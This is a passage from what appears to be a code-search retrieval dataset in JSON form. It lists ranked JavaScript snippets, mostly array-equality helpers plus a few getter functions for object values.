true;\n}", "title": "" }, { "docid": "021593e3c995371dea63b80e76b4ccf5", "score": "0.68131614", "text": "function arrayEquals(a, b, identityAccessor) {\n if (a.length !== b.length) return false;\n for (let i = 0; i < a.length; i++) {\n let valueA = a[i];\n let valueB = b[i];\n if (identityAccessor) {\n valueA = identityAccessor(valueA);\n valueB = identityAccessor(valueB);\n }\n if (valueB !== valueA) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "a6870e782fa6f134d610753aa0e6cda8", "score": "0.6812561", "text": "function arrayEquals(left, right) {\n if (left.length !== right.length) {\n return false;\n }\n for (var i = 0; i < left.length; i++) {\n if (!left[i].isEqual(right[i])) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "a6870e782fa6f134d610753aa0e6cda8", "score": "0.6812561", "text": "function arrayEquals(left, right) {\n if (left.length !== right.length) {\n return false;\n }\n for (var i = 0; i < left.length; i++) {\n if (!left[i].isEqual(right[i])) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "a6870e782fa6f134d610753aa0e6cda8", "score": "0.6812561", "text": "function arrayEquals(left, right) {\n if (left.length !== right.length) {\n return false;\n }\n for (var i = 0; i < left.length; i++) {\n if (!left[i].isEqual(right[i])) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "a6870e782fa6f134d610753aa0e6cda8", "score": "0.6812561", "text": "function arrayEquals(left, right) {\n if (left.length !== right.length) {\n return false;\n }\n for (var i = 0; i < left.length; i++) {\n if (!left[i].isEqual(right[i])) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "a6870e782fa6f134d610753aa0e6cda8", "score": "0.6812561", "text": "function arrayEquals(left, right) {\n if (left.length !== right.length) {\n return false;\n }\n for (var i = 0; i < left.length; i++) {\n if (!left[i].isEqual(right[i])) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "58cf223f5ee32a07456fbf8f2cf2d929", "score": "0.6807905", "text": "function arrayEquals(a, b, identityAccessor) {\n if (a.length !== b.length)\n return false;\n for (let i = 0; i < a.length; i++) {\n let valueA = a[i];\n let valueB = b[i];\n if (identityAccessor) {\n valueA = identityAccessor(valueA);\n valueB = identityAccessor(valueB);\n }\n if (valueB !== valueA) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "343d7a9e2fead697101c32c6e6d3a235", "score": "0.67947674", "text": "function eq(a, b) {\n if (a instanceof Array && b instanceof Array) {\n return a.length === b.length && a.every((v,i) => v === b[i])\n }\n\n return a === b\n}", "title": "" }, { "docid": "b495ee094065113d2f499907b45e6205", "score": "0.6791237", "text": "function isEquivalentArray(a, b) {\r\n return Array.isArray(b)\r\n ? a.length === b.length && a.every((value, i) => value === b[i])\r\n : a.length === 1 && a[0] === b;\r\n}", "title": "" }, { "docid": "0c4542e3b4d3ca2921a340872ff2067b", "score": "0.6783711", "text": "function compareArrays(arr1, arr2) {\n // check that their lengths are the same, that's quick to do\n if( arr1.length != arr2.length ) {\n return false;\n }\n // sort the arrays in place\n arr1.sort();\n arr2.sort();\n\n // go element by element and make sure the strings match.\n for( let i=0; i< arr1.length; i++ ) {\n if( arr1[i] != arr2[i] ) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "27dd278211da17569dd9f438bdbf65c1", "score": "0.67748433", "text": "function arrayEquals(a, b, identityAccessor) {\n if (a.length !== b.length) return false;\n\n for (let i = 0; i < a.length; i++) {\n let valueA = a[i];\n let valueB = b[i];\n\n if (identityAccessor) {\n valueA = identityAccessor(valueA);\n valueB = identityAccessor(valueB);\n }\n\n if (valueB !== valueA) {\n return false;\n }\n }\n\n return true;\n}", "title": "" }, { "docid": "72ceace73d33aaef67e0ad10362d1512", "score": "0.6767725", "text": "function isEquivalentArray(a, b) {\n return Array.isArray(b)\n ? a.length === b.length && a.every((value, i) => value === b[i])\n : a.length === 1 && a[0] === b;\n}", "title": "" }, { "docid": "4f1fdc1d79b2a46588518c3dd567814a", "score": "0.6766563", "text": "function simpleArrayEquals(arr1, arr2) {\n return Array.isArray(arr1) && Array.isArray(arr2) && arr2.sort().toString() !== arr1.sort().toString();\n }", "title": "" }, { "docid": "c689a7f37f879510976c90c3adadbe1b", "score": "0.67194676", "text": "function isEquivalentArray(a, b) {\n return isArray(b)\n ? a.length === b.length && a.every((value, i) => value === b[i])\n : a.length === 1 && a[0] === b;\n}", "title": "" }, { "docid": "d079f5c2f9a784e27535f4c8009ce5f3", "score": "0.6711028", "text": "function equal(a, b, equalFn) {\n var i,\n len = a.length;\n if (len !== b.length) {\n return false;\n }\n if (equalFn) {\n for (i = 0; i < len; i++) {\n if (!equalFn(a[i], b[i])) {\n return false;\n }\n }\n } else {\n for (i = 0; i < len; i++) {\n if (a[i] !== b[i]) {\n return false;\n }\n }\n }\n return true;\n }", "title": "" }, { "docid": "78cc0f4a2aacfd8f1943705f626344e4", "score": "0.67059785", "text": "function arraySetEqual(a, b) {\n let as = new Set(a);\n let bs = new Set(b);\n if (as.size !== bs.size) {\n return false;\n }\n for (let e in bs) {\n if (!as.has(e)) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "918e1a1124e021ea8cdd9c35a9264781", "score": "0.669981", "text": "function arrEq(arr1, arr2) {\n for(var i = 0; i < arr1.length; i++){\n if (arr1[i] != arr2[i]) return false;\n }\n return true;\n}", "title": "" }, { "docid": "d91ff04bc21faf093be4240b766bccd6", "score": "0.66910756", "text": "function arrayEquals(a, b) {\r\n const overlap = intersect(a, b);\r\n return overlap.length == a.length && overlap.length == b.length;\r\n }", "title": "" }, { "docid": "1132b1eac8a80fe5ef2d73fecadc880e", "score": "0.6688208", "text": "function arrEq(arr1,arr2) {\r\n for(var i=0; i<arr1.length; i++) if(arr1[i] != arr2[i]) return false;\r\n return true;\r\n}", "title": "" }, { "docid": "ffd8f5f51c4a6fc39b00122c321b389d", "score": "0.6681657", "text": "function arrEq(arr1, arr2) {\r\n for(var i in arr1){\r\n if (arr1[i] != arr2[i]){\r\n return false;\r\n }\r\n }\r\n return true;\r\n}", "title": "" }, { "docid": "3d1000a311c6aeeb6eccd7d289e14905", "score": "0.66777486", "text": "function equal(a,b) {\n if ( a.length !== b.length) return false;\n for (let i=0; i< a.length; i++) {\n if (a[i] !== b[i]) return false;\n }\n return true;\n}", "title": "" }, { "docid": "162773d9230878e90647bcfec2f4324c", "score": "0.66671175", "text": "function compareArrays(a, b) {\n return JSON.stringify(a) === JSON.stringify(b);\n }", "title": "" }, { "docid": "1d91d2d85513b2dd64dce248e656e375", "score": "0.66614753", "text": "function arraysEqual(array1, array2) {\n\n \n for (var i = 0; i < array1.length; i++) {\n if (array1[i] !== array2[i]) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "c0b9d37626d7cbce978fc1c62c5e7678", "score": "0.66614515", "text": "function arrayEquals(a, b) {\n return (\n Array.isArray(a) &&\n Array.isArray(b) &&\n a.length === b.length &&\n a.every((val, index) => val === b[index])\n );\n}", "title": "" }, { "docid": "c5a4814965146dd31b94d55b50346d1c", "score": "0.662878", "text": "function arrayEqual(a, b, memos){\n var i = a.length;\n if (i !== b.length) return false\n memos.push([a, b]);\n while (i--) {\n if (!equal(a[i], b[i], memos)) return false\n }\n return true\n}", "title": "" }, { "docid": "733b3832222baf0936a956ae07e0ed80", "score": "0.6607561", "text": "function assertEqualArrays(x,y) {\n if(x.length !== y.length)\n throw(\"expected \"+x+\" to equal \"+y);\n for(var i in x) {\n if(x[i] !== y[i]) {\n throw(\"expected \"+x+\" to equal \"+y);\n }\n }\n}", "title": "" }, { "docid": "7a39f249b1ce7460e321c75de61c387d", "score": "0.66033906", "text": "function arrayEq(a, b) {\n\t // Technically, null and undefined are arrays too\n\t if (a == null || b == null) {\n\t return a === b;\n\t }\n\t if (a.length !== b.length) {\n\t return false;\n\t }\n\t for (var i = 0; i < a.length; i++) {\n\t if (a[i] !== b[i]) {\n\t return false;\n\t }\n\t }\n\t return true;\n\t }", "title": "" }, { "docid": "fb5a1363c0d4febcd3855199d7dea905", "score": "0.65812236", "text": "function compareArraysOfStrings(a, b) {\n a = a.join(' ');\n b = b.join(' ');\n if (a > b) {\n return 1;\n }\n if (a < b) {\n return -1;\n }\n return 0;\n }", "title": "" }, { "docid": "62868afe34fc4423bfab29983a8888d1", "score": "0.65809435", "text": "function eqarray(xs, ys, eq=eqStrict) {\n let n = xs.length;\n if (n != ys.length) {\n return false;\n }\n \n for (let i = 0; i < n; i++) {\n if (!(eq(xs[i], ys[i]))) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "33e2016af92b09397d508364719c2255", "score": "0.65792006", "text": "function is_equal(arr1, arr2) {\r\n if (arr1.length !== arr2.length) return false;\r\n for (var i = 0 ; i !== arr1.length; i++) {\r\n if (arr1[i] !== arr2[i]) return false;\r\n }\r\n return true;\r\n}", "title": "" }, { "docid": "54835c98f617ec7e24e074d3fa1c13a6", "score": "0.6570444", "text": "function array_equal(a, b) {\n var i = a.length;\n if (i !== b.length) {\n return false;\n }\n while (i--) {\n if (a[i] !== b[i]) {\n return false;\n }\n }\n return true;\n }", "title": "" }, { "docid": "c2109e81afcf1fc796c08172652fa34a", "score": "0.6560863", "text": "function arraysHaveSameMembers(x, y) {\r\n var equal = Array.isArray(x) && Array.isArray(y) && x.length === y.length;\r\n for (var i = 0; i < x.length; i += 1) {\r\n equal = equal && (y.indexOf(x[i]) !== -1);\r\n }\r\n return equal;\r\n }", "title": "" }, { "docid": "de4d3a5fc51ea237b438cba8a782d4e2", "score": "0.6557365", "text": "function equalArrays (array1, array2) {\n if (array1.length !== array2.length) {\n return false\n }\n for (let i = 0; i < array1.length; i++) {\n if (array1[i] !== array2[i]) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "bba0e43ba3a2f45505c73b7360e00cb9", "score": "0.6551849", "text": "function areArraysEqual(a, b) {\n var isEqual = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : strictEquality;\n\n if (a.length !== b.length) {\n return false;\n }\n\n for (var i = 0; i < a.length; ++i) {\n if (!isEqual(a[i], b[i])) {\n return false;\n }\n }\n\n return true;\n }", "title": "" }, { "docid": "00468e0e4adfa7b2e56de46dfd6d3030", "score": "0.65328676", "text": "function arrayEquals(array1, array2) {\n if (array1.length !== array2.length) {\n return false;\n } else {\n for (var i = 0; i < array1.length; i++) {\n if (array1[i] !== array2[i]) {\n return false;\n }\n }\n return true;\n }\n}", "title": "" }, { "docid": "0e12583815d7308658c95c76489da116", "score": "0.6530194", "text": "function arrayEqual(arr1, arr2) {\n return arr1.length === arr2.length && arr1.every(function (element, index) {\n return element === arr2[index];\n });\n}", "title": "" }, { "docid": "0e12583815d7308658c95c76489da116", "score": "0.6530194", "text": "function arrayEqual(arr1, arr2) {\n return arr1.length === arr2.length && arr1.every(function (element, index) {\n return element === arr2[index];\n });\n}", "title": "" }, { "docid": "ccf90320214b7e3850fb2d02ae1de13d", "score": "0.65253526", "text": "function arrayEquals(a, b) {\n if (a === b) return true;\n if (a.length !== b.length) return false;\n\n for (var i = 0; i < a.length; ++i) {\n if (a[i] !== b[i]) return false;\n }\n return true;\n }", "title": "" }, { "docid": "e90f9ac1a38346881f1352895cc6080f", "score": "0.6517658", "text": "function isEqual(arrOne, arrTwo){\r\n checkArray(arrOne, false);\r\n checkArray(arrTwo, false);\r\n\r\n if(arrOne.length != arrTwo.length){\r\n return false;\r\n }else{\r\n for (let i=0; i<arrOne.length; i++){\r\n if(arrOne[i] !== arrTwo[i]){\r\n return false;\r\n }else{\r\n continue;\r\n }\r\n }\r\n return true;\r\n } \r\n}", "title": "" }, { "docid": "fc48fe5f13e7769e809a9f037815779e", "score": "0.6507617", "text": "function same(a, b){\r\n if(a.length!==b.length) return false;\r\n for(var i=0; i<a.length; i++)\r\n if(a[i]!==b[i]) return false;\r\n return true;\r\n}", "title": "" }, { "docid": "7effa128bac20cc65f082f1c8c3d9a6d", "score": "0.650464", "text": "function array_equal(array1, array2) {\n if (array1.length != array2.length) {\n return false;\n }\n for (let i = 0; i < array1.length; i++) {\n if (array1[i] != array2[i]) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "8b5a85b95d97e42f8f7e955c3e6e39bb", "score": "0.6484457", "text": "function arrEqual(arrA, arrB) {\n if (arrA.length !== arrB.length) return false;\n\n arrA.forEach(function (valueA, i) {\n deepEqual(valueA, arrB[i]);\n });\n return true;\n}", "title": "" }, { "docid": "79e526afbc04800ad5a5195271983859", "score": "0.64830595", "text": "function arrayEquals(a, b) {\n if (a === b) return true;\n if (a == null || b == null) return false;\n if (a.length != b.length) return false;\n for (var i = 0; i < a.length; ++i) {\n if (a[i] !== b[i]) return false;\n }\n return true;\n }", "title": "" }, { "docid": "4eece25412f7bd5bab7d8fcab632fae5", "score": "0.6474585", "text": "function equalArrays(array1, array2) {\n if (array1.length !== array2.length) {\n return false;\n }\n\n for (var i = 0; i < array1.length; i++) {\n if (array1[i] !== array2[i]) {\n return false;\n }\n }\n\n return true;\n}", "title": "" }, { "docid": "9fea24c7866db20a1854ee16248481f8", "score": "0.64475745", "text": "function areArraysEqual(a, b) {\n var isEqual = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : strictEquality;\n\n if (a.length !== b.length) {\n return false;\n }\n\n for (var i = 0; i < a.length; ++i) {\n if (!isEqual(a[i], b[i])) {\n return false;\n }\n }\n\n return true;\n}", "title": "" }, { "docid": "9fea24c7866db20a1854ee16248481f8", "score": "0.64475745", "text": "function areArraysEqual(a, b) {\n var isEqual = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : strictEquality;\n\n if (a.length !== b.length) {\n return false;\n }\n\n for (var i = 0; i < a.length; ++i) {\n if (!isEqual(a[i], b[i])) {\n return false;\n }\n }\n\n return true;\n}", "title": "" }, { "docid": "87bd704a92aac4562d60f3839e1a591e", "score": "0.6438792", "text": "function ArraysEqual(arr1, arr2) {\n ASSERT(arr1.length == arr2.length, \"Lengths not equal\");\n for(var i = 0; i < arr1.length; i++) {\n ASSERT(typeof(arr1[i]) == typeof(arr2[i]), \"Types not equal for position \" + i);\n ASSERT(arr1[i] == arr2[i], \"Values not equal for position \" + i);\n }\n}", "title": "" }, { "docid": "08db613c60fdf82203be2d01474b1a11", "score": "0.6435428", "text": "function arraysIdentical(a, b) {\n for (var y = 0; y < gridSize; y++) {\n for (var x = 0; x < gridSize; x++) {\n if (a[x][y].value !== b[x][y].value) {\n return false;\n }\n }\n }\n return true;\n}", "title": "" }, { "docid": "fb9ab7f1fc39d99a85f59bf01148e115", "score": "0.640867", "text": "function arraysEqual(arr1, arr2) {\n if (arr1.length !== arr2.length) return false;\n\n for (let i = 0; i < arr1.length; i += 1) {\n if (arr1[i] !== arr2[i]) {\n return false;\n }\n }\n\n return true;\n}", "title": "" }, { "docid": "b79bf12d8ed8be5cc6ef18c97847e7bb", "score": "0.6401777", "text": "function arraysEqual(ar1, ar2) {\n var n = ar1.length;\n if (n !== ar2.length) { return false; }\n for (var i = 0; i < n; i++) {\n if (ar1[i] !== ar2[i]) { return false; }\n }\n return true;\n}", "title": "" }, { "docid": "b79bf12d8ed8be5cc6ef18c97847e7bb", "score": "0.6401777", "text": "function arraysEqual(ar1, ar2) {\n var n = ar1.length;\n if (n !== ar2.length) { return false; }\n for (var i = 0; i < n; i++) {\n if (ar1[i] !== ar2[i]) { return false; }\n }\n return true;\n}", "title": "" }, { "docid": "918d444235e8e4da0d51d23e17fb07c7", "score": "0.63908976", "text": "function areYouHere(arr1, arr2) {\n for (let i = 0; i < arr1.length; i++) {\n const el1 = arr1[i];\n for (let j = 0; j < arr2.length; j++) {\n const el2 = arr2[j];\n if (el1 === el2) return true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "3ce37991f927188b763f37c450ecca65", "score": "0.6387748", "text": "function arrEq(xs, ys) {\n return (\n xs.length === ys.length &&\n all(\n //elementwise comparison\n zipWith((x, y) => x === y, xs, ys)\n )\n );\n}", "title": "" }, { "docid": "733c175dc86b0d2fac98fc3b50d09ebc", "score": "0.63868725", "text": "function areYouHere(arr1, arr2) {\n for (let i = 0; i < arr1.length; i++) { \n const el1 = arr1[i];\n for (let j = 0; j < arr2.length; j++) {\n const el2 = arr2[j];\n if (el1 === el2) return true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "251802a8a2619d3ad5db5623f581e936", "score": "0.6386489", "text": "function assertEqual(arrayOne, arrayTwo) {\n //Solution One\n /*\n arrayOne = JSON.stringify(arrayOne.sort());\n arrayTwo = JSON.stringify(arrayTwo.sort());\n if (arrayOne === arrayTwo) {\n console.log(`Passed -- ArrayOne:${arrayOne} MATCHES ArrayTwo:${arrayTwo}!`);\n } else {\n console.log(`Failed -- ArrayOne:${arrayOne} does not match ArrayTwo:${arrayTwo}!`);\n }\n */\n\n //Solution Two\n if (arrayOne.length === arrayTwo.length) {\n arrayOne.sort();\n arrayTwo.sort();\n\n //arrayOne is primary array\n if (arrayOne.every(function (arrOneElement, i) {\n return ((typeof arrOneElement === typeof arrayTwo[i]) && (arrOneElement === arrayTwo[i]));\n })) {\n console.log(' ArrayOne [' + arrayOne + '] and ArrayTwo [' + arrayTwo + '] - MATCH!');\n return;\n } else {\n console.log('No Matching Here - ArrayOne : [' + arrayOne + '] does not match ArrayTwo : [' + arrayTwo + ']');\n return;\n }\n\n } else {\n console.log(' Length does not match - ArrayOne : [' + arrayOne + '] does not match ArrayTwo : [' + arrayTwo + ']');\n return;\n }\n}", "title": "" }, { "docid": "2d43921e9d2e301547ea64873488b83f", "score": "0.6383991", "text": "function arrayEquals (array1, array2) {\n if (array1 === array2) {\n return true\n }\n if (array1.length !== array2.length) {\n return false\n }\n for (var i = 0, length = array1.length; i < length; ++i) {\n if (array1[i] !== array2[i]) {\n return false\n }\n }\n return true\n}", "title": "" }, { "docid": "06042b5ee12f28e32855d69566476e48", "score": "0.6380217", "text": "function same(arr1, arr2){\n if(arr1.length !== arr2.length) return false\n for(let elem of arr1){\n let index = arr2.indexOf(elem ** 2)\n if(index === -1){\n return false\n }\n }\n return true;\n}", "title": "" }, { "docid": "2416fd7983a93ee488fd346186cee2cb", "score": "0.63664395", "text": "function __PRIVATE_arrayEquals(t, e, r) {\n return t.length === e.length && t.every(((t, n) => r(t, e[n])));\n}", "title": "" }, { "docid": "d7a2f669895546f094c2ff7b8720f7d2", "score": "0.6366336", "text": "function arraysEqual(array1, array2) {\n if (array1.length !== array2.length) {\n return false;\n }\n for (var i = 0; i < array1.length; i++) {\n if (array1[i] !== array2[i]) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "d7a2f669895546f094c2ff7b8720f7d2", "score": "0.6366336", "text": "function arraysEqual(array1, array2) {\n if (array1.length !== array2.length) {\n return false;\n }\n for (var i = 0; i < array1.length; i++) {\n if (array1[i] !== array2[i]) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "d7a2f669895546f094c2ff7b8720f7d2", "score": "0.6366336", "text": "function arraysEqual(array1, array2) {\n if (array1.length !== array2.length) {\n return false;\n }\n for (var i = 0; i < array1.length; i++) {\n if (array1[i] !== array2[i]) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "d7a2f669895546f094c2ff7b8720f7d2", "score": "0.6366336", "text": "function arraysEqual(array1, array2) {\n if (array1.length !== array2.length) {\n return false;\n }\n for (var i = 0; i < array1.length; i++) {\n if (array1[i] !== array2[i]) {\n return false;\n }\n }\n return true;\n}", "title": "" }, { "docid": "68aeeb2d5edf92b400dca2b2fd454c56", "score": "0.6363321", "text": "function areYouHere(arr1, arr2) {\n for (let i=0; i<arr1.length; i++) {\n const el1 = arr1[i];\n for (let j=0; j<arr2.length; j++) {\n const el2 = arr2[j];\n if (el1 === el2) return true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "30cf524aba3786ecc54246b34940316a", "score": "0.6358809", "text": "function areYouHere(arr1, arr2) {\n for (let i = 0; i < arr1.length; i++) {\n const el1 = arr1[i];\n for (let j = 0; j < arr2.length; j++) {\n const el2 = arr2[j];\n if (el1 === el2) return true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "30cf524aba3786ecc54246b34940316a", "score": "0.6358809", "text": "function areYouHere(arr1, arr2) {\n for (let i = 0; i < arr1.length; i++) {\n const el1 = arr1[i];\n for (let j = 0; j < arr2.length; j++) {\n const el2 = arr2[j];\n if (el1 === el2) return true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "30cf524aba3786ecc54246b34940316a", "score": "0.6358809", "text": "function areYouHere(arr1, arr2) {\n for (let i = 0; i < arr1.length; i++) {\n const el1 = arr1[i];\n for (let j = 0; j < arr2.length; j++) {\n const el2 = arr2[j];\n if (el1 === el2) return true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "30cf524aba3786ecc54246b34940316a", "score": "0.6358809", "text": "function areYouHere(arr1, arr2) {\n for (let i = 0; i < arr1.length; i++) {\n const el1 = arr1[i];\n for (let j = 0; j < arr2.length; j++) {\n const el2 = arr2[j];\n if (el1 === el2) return true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "30cf524aba3786ecc54246b34940316a", "score": "0.6358809", "text": "function areYouHere(arr1, arr2) {\n for (let i = 0; i < arr1.length; i++) {\n const el1 = arr1[i];\n for (let j = 0; j < arr2.length; j++) {\n const el2 = arr2[j];\n if (el1 === el2) return true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "3ab97e86068cdd0f3c9339a99a473333", "score": "0.63482654", "text": "function areYouHere(arr1, arr2) {\n for (let i=0; i<arr1.length; i++) {\n const el1 = arr1[i];\n for (let j=0; j<arr2.length; j++) {\n const el2 = arr2[j];\n if (el1 === el2) return true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "3ab97e86068cdd0f3c9339a99a473333", "score": "0.63482654", "text": "function areYouHere(arr1, arr2) {\n for (let i=0; i<arr1.length; i++) {\n const el1 = arr1[i];\n for (let j=0; j<arr2.length; j++) {\n const el2 = arr2[j];\n if (el1 === el2) return true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "3ab97e86068cdd0f3c9339a99a473333", "score": "0.63482654", "text": "function areYouHere(arr1, arr2) {\n for (let i=0; i<arr1.length; i++) {\n const el1 = arr1[i];\n for (let j=0; j<arr2.length; j++) {\n const el2 = arr2[j];\n if (el1 === el2) return true;\n }\n }\n return false;\n}", "title": "" }, { "docid": "8b70ffa9e03080cebd6cc2cce43e0a80", "score": "0.6346466", "text": "function arraysEqual(arr1, arr2) {\n if (arr1.length !== arr2.length) { return false; }\n for (let i = 0; i < arr1.length; i++) {\n if (arr1[i] !== arr2[i]) { return false; }\n }\n return true;\n}", "title": "" }, { "docid": "cc5334d06e45c003972bd29e4c3f772a", "score": "0.6343872", "text": "function arraysIdentical(a, b) {\n var i = a.length;\n if (i != b.length) return false;\n while (i--) {\n if (a[i] !== b[i]) return false;\n }\n return true;\n}", "title": "" }, { "docid": "169944d2d77a985be9d1585c706149c2", "score": "0.6327718", "text": "function equals(a, b) {\n if (a === b) {\n return true;\n } else if (Array.isArray(a) && Array.isArray(b)) {\n if (a.length !== b.length) {\n return false;\n }\n\n for (var i = 0; i < a.length; i += 1) {\n if (!equals(a[i], b[i])) {\n return false;\n }\n }\n\n return true;\n } else {\n return false;\n }\n}", "title": "" }, { "docid": "169944d2d77a985be9d1585c706149c2", "score": "0.6327718", "text": "function equals(a, b) {\n if (a === b) {\n return true;\n } else if (Array.isArray(a) && Array.isArray(b)) {\n if (a.length !== b.length) {\n return false;\n }\n\n for (var i = 0; i < a.length; i += 1) {\n if (!equals(a[i], b[i])) {\n return false;\n }\n }\n\n return true;\n } else {\n return false;\n }\n}", "title": "" }, { "docid": "28303c30f1aaa5241c868446efdddaeb", "score": "0.6310114", "text": "function assertArraysEqual(a, b, message, test_status) {\n var dofail = function() {\n fail(message, toString(a) + ' != ' + toString(b), test_status);\n }\n if (a.length != b.length) {\n dofail();\n }\n for (var i = 0; i < a.length; i++) {\n if (a[i] !== b[i]) {\n dofail();\n }\n }\n}", "title": "" }, { "docid": "3dc0b6eee3eee1b54681443067fd6a74", "score": "0.6299971", "text": "function arraysContainSame(a, b) {\n\t\tvar match = a.every(function(item){\n\t\t\treturn b.includes(item);\n\t\t});\n\n\t\tif(match){\n\t\t\twinner = true;\n\t\t\tupNext.innerHTML = '';\n\t\t\tdisplayModal(team.name);\n\t\t}\n\t}", "title": "" }, { "docid": "2451633606f3c4fa54435dd41d5b2f38", "score": "0.629724", "text": "function arraysEqual(a, b) {\r\n if (a === b) {\r\n return true;\r\n }\r\n if (a === null || b === null) {\r\n return false;\r\n }\r\n if (a.length !== b.length) {\r\n return false;\r\n }\r\n for (let i = 0; i < a.length; ++i) {\r\n if (a[i] !== b[i]) {\r\n return false;\r\n }\r\n }\r\n return true;\r\n}", "title": "" }, { "docid": "5d65393c1729e9c63caad7abc0dc24f2", "score": "0.629256", "text": "function testEqual(arr1, arr2) {\n if (arr1.length != arr2.length) {\n console.log(false);\n return;\n }\n for (let i = 0; i < arr1.length; i++) {\n if (arr1[i] != arr2[i]) {\n console.log(false);\n return;\n }\n }\n console.log(true);\n}", "title": "" }, { "docid": "11281b6f64fcdf3879b57554a0553c7b", "score": "0.628339", "text": "function isArrayEqual(arrA, arrB){\r\n if (arrA.length !== arrB.length) {\r\n return false;\r\n }\r\n if(arrA === arrB){\r\n return true;\r\n }\r\n for( let i = 0; i < arrA.length; i++){\r\n if(arrA[i] !== arrB[i]){\r\n return false;\r\n }\r\n }\r\nreturn true;\r\n}", "title": "" } ]
db49a3ed788d261f5f9859f03225b028
Extract an object value.
[ { "docid": "96295003b77914bba0c725ae23cb6251", "score": "0.0", "text": "object (key, def) {\n const val = this.params[key]\n delete this.params[key]\n\n if (util.isUndefinedOrNull(val)) {\n return def\n }\n\n util.assertObject(key, val)\n\n return val\n }", "title": "" } ]
[ { "docid": "76535917a30784389e9d73ea723872a6", "score": "0.801831", "text": "function getValue(object) {\n return object.value;\n }", "title": "" }, { "docid": "00a315cad800c72437c342a37be44eec", "score": "0.7793148", "text": "_getValue (object) {\n if (N3Util.isLiteral(object)) {\n return N3Util.getLiteralValue(object)\n } else {\n return object\n }\n }", "title": "" }, { "docid": "869e63d2aec840fb01f3002c21e02621", "score": "0.6946017", "text": "function getValue (object, key) {\n\treturn object[key];\n}", "title": "" }, { "docid": "6cd9ae094f6b70a11407360ab60a3ab6", "score": "0.69215196", "text": "function getObjValue(obj){\n\tswitch(getType(obj)){\n\t\tcase \"number\":\n\t\tcase \"date\":\n\t\tcase \"string\":\n\t\t\treturn obj;\n case \"null\":\n console.log(\"null value returning undefined\");\n return undefined;\n\t\tdefault:\n\t\t\treturn objToString(obj);\n\t}\n}", "title": "" }, { "docid": "43bdaeb143f86e0bb15a4d6c63fae4cf", "score": "0.6730016", "text": "function extractValueOutOfAnObject(obj, key) {\n return obj[key];\n}", "title": "" }, { "docid": "d7885e1ed983df042c1346608f803ca8", "score": "0.6726123", "text": "get value() {}", "title": "" }, { "docid": "d7885e1ed983df042c1346608f803ca8", "score": "0.6726123", "text": "get value() {}", "title": "" }, { "docid": "259f9875e7cfca0d92ebc27bd07990b6", "score": "0.66240525", "text": "function getObjectValuePropertyValue(objectSelectorModel, object) {\n var objectValueProperty = objectSelectorModel.objectValueProperty;\n if (!objectValueProperty) {\n objectValueProperty = \"value\";\n }\n\n if (!(objectValueProperty in object)) {\n throw \"Object bound to control '\" + objectSelectorModel.name + \"' doesn't have property '\" + objectValueProperty + \"'\";\n }\n\n return object[objectValueProperty];\n }", "title": "" }, { "docid": "4ae68a08f641d622aceaac70bc39bc23", "score": "0.65343636", "text": "get value() {\n return this.objectValue;\n }", "title": "" }, { "docid": "4ae68a08f641d622aceaac70bc39bc23", "score": "0.65343636", "text": "get value() {\n return this.objectValue;\n }", "title": "" }, { "docid": "a00bd781f0d9ee4f408208e8f29554ce", "score": "0.6445915", "text": "getValue() {}", "title": "" }, { "docid": "31e2d76408060252174ddefe1a8a48b7", "score": "0.64297503", "text": "function getValue(el) {\n return \"_value\" in el ? el._value : el.value;\n }", "title": "" }, { "docid": "e80e6e8cb7288dfd9b482e6e2a66f21b", "score": "0.63508636", "text": "function getValue(el) {\n return '_value' in el ? el._value : el.value;\n}", "title": "" }, { "docid": "e80e6e8cb7288dfd9b482e6e2a66f21b", "score": "0.63508636", "text": "function getValue(el) {\n return '_value' in el ? el._value : el.value;\n}", "title": "" }, { "docid": "e80e6e8cb7288dfd9b482e6e2a66f21b", "score": "0.63508636", "text": "function getValue(el) {\n return '_value' in el ? el._value : el.value;\n}", "title": "" }, { "docid": "e80e6e8cb7288dfd9b482e6e2a66f21b", "score": "0.63508636", "text": "function getValue(el) {\n return '_value' in el ? el._value : el.value;\n}", "title": "" }, { "docid": "bf6cd75edc30b95bd81e1a4d65c9a6a2", "score": "0.6301548", "text": "function extractValue(object, key) {\n return object.map(function (el) {\n return el[key];\n });\n}", "title": "" }, { "docid": "138066fb8429564c336cd601999bc7f8", "score": "0.62670153", "text": "function valueFromId(obj, path) {\n\t\tif (obj && path) {\n\t\t\tvar pathComponents = path.split('.');\n\t\t\twhile (obj && typeof obj === 'object' && pathComponents.length) {\n\t\t\t\tobj = obj[pathComponents.shift()];\n\t\t\t}\n\t\t\treturn obj;\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\t}", "title": "" }, { "docid": "97e1aed49b17c7253efeb20db88ed359", "score": "0.6212215", "text": "function getValue(object, value) {\n return Object.keys(object).find(key => object[key] === value);\n }", "title": "" }, { "docid": "1000c2cc810a8c725ad604d35aec9d2a", "score": "0.6211563", "text": "function get_value_by_id(id)\n{\n var obj = get_by_id(id);\n if (obj) { return obj.value; }\n return 